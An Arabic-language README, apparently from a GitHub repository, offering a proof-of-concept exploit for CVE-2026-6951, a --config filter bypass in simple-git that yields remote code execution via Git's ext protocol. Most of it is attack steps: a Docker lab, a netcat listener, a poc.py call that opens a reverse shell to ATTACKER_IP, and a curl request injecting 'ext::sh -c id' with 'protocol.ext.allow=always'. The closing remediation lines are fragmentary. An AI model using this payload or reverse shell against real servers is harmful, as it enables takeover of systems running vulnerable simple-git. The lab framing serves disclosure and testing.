
إثبات مفهوم للاستغلال يخص CVE-2026-6951، وهو تجاوز لمرشح `--config` في simple-git يتيح تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر بروتوكول Git ext، مع مختبر Docker وحمولة reverse shell.
★ CVE-2026-6951 تجاوز تصفية خيار --config في simple-git وتنفيذ تعليمات برمجية عن بُعد PoC ★
https://github.com/user-attachments/assets/4c992530-c5bb-4ff4-be5d-af0857eebb67
CVE-2026-6951 هي ثغرة تنفيذ تعليمات برمجية عن بُعد في
simple-gitناتجة عن إصلاح غير مكتمل لثغرة CVE-2022-25912. على الرغم من حظر الخيار-c، لم يتم تقييد الخيار المكافئ--configبشكل صحيح. يمكن للمهاجم الذي يتحكم في وسائط Git تمكين بروتوكولextوتنفيذ أوامر عشوائية عبر عنوان URL لمستودعext::.
| الفئة | الإصدار |
|---|---|
| المتأثرة | إصدارات simple-git قبل 3.36.0 |
| المُصحّحة | simple-git 3.36.0 أو أحدث |
تستخدم هذه البيئة simple-git 3.35.2 و @simple-git/argv-parser 1.0.3.
قم ببناء وتشغيل البيئة المتأثرة.
docker build -t cve-2026-6951 .
docker run --rm -d --name cve-2026-6951 -p 9107:9107 cve-2026-6951
قم بالوصول إلى الخدمة على:
http://127.0.0.1:9107
تحقق من حالة الخدمة.
curl -s http://127.0.0.1:9107/api/health
المستودع النموذجي المضمّن متاح على:
file:///srv/git/sample.git
ابدأ مستمعًا على نظام المهاجم.
nc -lvnp 4444
شغّل سكربت الاستغلال.
python3 poc.py http://127.0.0.1:9107 --lhost ATTACKER_IP --lport 4444
الطلب التالي ينفّذ الأمر id من خلال استغلال الخيار غير المقيّد --config وبروتوكول Git ext.
curl -s -X POST http://127.0.0.1:9107/api/import \
-H 'Content-Type: application/json' \
--data-raw '{
"repository":"ext::sh -c id% >&2",
"name":"id-check",
"options":["--config","protocol.ext.allow=always"],
"environment":{}
}'
simple-git إلى الإصدار 3.36.0 أو أحدث.simple-git.ext::.